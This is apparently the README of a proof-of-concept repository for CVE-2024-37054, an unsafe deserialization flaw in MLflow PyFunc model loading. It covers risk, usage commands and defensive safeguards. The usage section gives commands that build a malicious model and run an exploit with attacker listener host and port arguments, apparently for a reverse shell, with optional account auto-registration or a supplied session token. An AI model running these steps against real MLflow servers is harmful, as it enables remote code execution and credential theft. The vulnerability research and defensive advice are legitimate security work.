MLflow Unsafe Deserialization

CVE-2024-37054

Overview

This repository documents research into CVE-2024-37054, an unsafe deserialization issue affecting MLflow PyFunc model handling.

In affected MLflow versions, loading an untrusted PyFunc model can cause Python deserialization logic to process a serialized object containing attacker-controlled behavior. If an untrusted artifact is loaded, code may execute under the permissions of the user or service performing the model-loading operation.

Affected versions reported in public advisories include:

MLflow 0.9.0 through 2.14.1

Risk

The primary risk is not simply “uploading a model.” The danger occurs when an application, analyst, worker, or ML platform loads an untrusted serialized model artifact.

Potential impact includes:

• Remote code execution in the MLflow client, worker, or service context
• Exposure of environment variables, credentials, tokens, and local files
• Unauthorized access to connected model stores, databases, and internal services
• Modification of models, experiments, or registry metadata
• Movement from ML infrastructure into other connected environments

Repository Contents

build_model.py

Creates a controlled test model artifact for use in a private, authorized lab environment.

exploit.py

Private proof-of-concept automation used only to validate the vulnerability path in an authorized training environment. This repository does not include live targets, credentials, session tokens, VPN configuration files, or destructive payloads.

Usage

Run this proof of concept only in an authorized lab environment.

1. Build the test model

Create the controlled model artifact:

python3 build_model.py --lhost <YOUR_IP> --lport 4444

2. Run with automatic account registration

If you do not already have an authenticated session, use the automatic registration mode:

python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz

This mode creates a temporary lab account, authenticates to the application, and continues with the model-registration and validation workflow.

3. Run with an existing session

If you already have a valid authorized session, pass it directly:

python3 exploit.py \
  --lhost <YOUR_IP> \
  --lport 4444 \
  --session "<SESSION_TOKEN>"

Replace:

• <YOUR_IP> with the IP address reachable from the authorized lab target.
• 4444 with the listener port used in your lab.
• <SESSION_TOKEN> with your active authorized session value.

Never publish real session tokens, credentials, VPN files, target addresses, or callback details.

Defensive Guidance

Organizations using MLflow should treat model artifacts as untrusted input unless their origin and integrity have been verified.

Recommended safeguards:

• Do not load untrusted serialized PyFunc or pickle-based model artifacts.
• Restrict model upload, registration, versioning, and loading permissions using least privilege.
• Isolate MLflow workloads in non-root containers or restricted worker environments.
• Restrict outbound network access from model-loading and training infrastructure.
• Avoid placing secrets in environment variables accessible to model-processing jobs.
• Log model uploads, registry actions, artifact access, and abnormal subprocess activity.
• Monitor MLflow security advisories and use supported, maintained software versions.

Disclaimer

This project is intended for defensive research, education, and authorized security testing only. The proof-of-concept workflow was evaluated solely in a controlled training environment. Do not test this vulnerability against systems, accounts, services, or networks without explicit written authorization.